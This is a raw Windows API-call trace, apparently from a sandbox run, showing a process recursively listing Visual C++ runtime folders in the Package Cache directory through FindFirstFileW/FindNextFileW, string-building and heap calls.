	[0092.481] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481bda0
	[0092.481] wcscpy (in: _Dest=0x481bda0, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0092.481] wcscat (in: _Dest=0x481bda0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\"
	[0092.481] wcscat (in: _Dest=0x481bda0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*"
	[0092.481] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711400
	[0092.481] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.481] wcscmp (_String1=".", _String2=".") returned 0
	[0092.481] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.481] wcscmp (_String1="..", _String2=".") returned 1
	[0092.481] wcscmp (_String1="..", _String2="..") returned 0
	[0092.481] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.481] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.481] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.481] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4926328
	[0092.481] wcscpy (in: _Dest=0x4926328, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0092.481] wcscat (in: _Dest=0x4926328, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\"
	[0092.482] wcscat (in: _Dest=0x4926328, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0092.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4926648
	[0092.482] wcscpy (in: _Dest=0x4926648, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0092.482] wcscat (in: _Dest=0x4926648, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\"
	[0092.482] wcscat (in: _Dest=0x4926648, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*"
	[0092.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47100c0
	[0092.482] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.482] wcscmp (_String1=".", _String2=".") returned 0
	[0092.482] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.482] wcscmp (_String1="..", _String2=".") returned 1
	[0092.482] wcscmp (_String1="..", _String2="..") returned 0
	[0092.482] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.482] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1
	[0092.482] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1
	[0092.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491e168
	[0092.482] wcscpy (in: _Dest=0x491e168, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0092.482] wcscat (in: _Dest=0x491e168, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\"
	[0092.482] wcscat (in: _Dest=0x491e168, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0092.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491c0f0
	[0092.482] wcscpy (in: _Dest=0x491c0f0, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0092.482] wcscat (in: _Dest=0x491c0f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\"
	[0092.482] wcscat (in: _Dest=0x491c0f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*"
	[0092.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470ed80
	[0092.483] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.483] wcscmp (_String1=".", _String2=".") returned 0
	[0092.483] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.483] wcscmp (_String1="..", _String2=".") returned 1
	[0092.483] wcscmp (_String1="..", _String2="..") returned 0
	[0092.483] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.483] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.483] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.483] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.483] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1
	[0092.483] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1
	[0092.483] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.483] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470ed80) returned 1
	[0092.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c0f0) returned 1
	[0092.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e168) returned 1
	[0092.483] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.483] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47100c0) returned 1
	[0092.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926648) returned 1
	[0092.483] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926328) returned 1
	[0092.483] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.483] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.484] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711400) returned 1
	[0092.484] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bda0) returned 1
	[0092.484] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60ea0) returned 1
	[0092.484] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1
	[0092.484] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2=".") returned 1
	[0092.484] wcscmp (_String1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", _String2="..") returned 1
	[0092.484] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d619a0
	[0092.484] wcscpy (in: _Dest=0x2d619a0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.484] wcscat (in: _Dest=0x2d619a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.484] wcscat (in: _Dest=0x2d619a0, _Source="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0092.484] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481ba08
	[0092.484] wcscpy (in: _Dest=0x481ba08, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0092.484] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\"
	[0092.484] wcscat (in: _Dest=0x481ba08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*"
	[0092.484] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.484] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.484] wcscmp (_String1=".", _String2=".") returned 0
	[0092.484] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.484] wcscmp (_String1="..", _String2=".") returned 1
	[0092.485] wcscmp (_String1="..", _String2="..") returned 0
	[0092.485] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.485] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.485] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2ca20
	[0092.485] wcscpy (in: _Dest=0x4f2ca20, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0092.485] wcscat (in: _Dest=0x4f2ca20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\"
	[0092.485] wcscat (in: _Dest=0x4f2ca20, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0092.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x49263f0
	[0092.485] wcscpy (in: _Dest=0x49263f0, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0092.485] wcscat (in: _Dest=0x49263f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\"
	[0092.485] wcscat (in: _Dest=0x49263f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*"
	[0092.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710328
	[0092.485] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.485] wcscmp (_String1=".", _String2=".") returned 0
	[0092.485] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.485] wcscmp (_String1="..", _String2=".") returned 1
	[0092.485] wcscmp (_String1="..", _String2="..") returned 0
	[0092.485] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.485] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1
	[0092.485] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1
	[0092.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491c6c0
	[0092.485] wcscpy (in: _Dest=0x491c6c0, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages"
	[0092.485] wcscat (in: _Dest=0x491c6c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\"
	[0092.485] wcscat (in: _Dest=0x491c6c0, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0092.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491c1e8
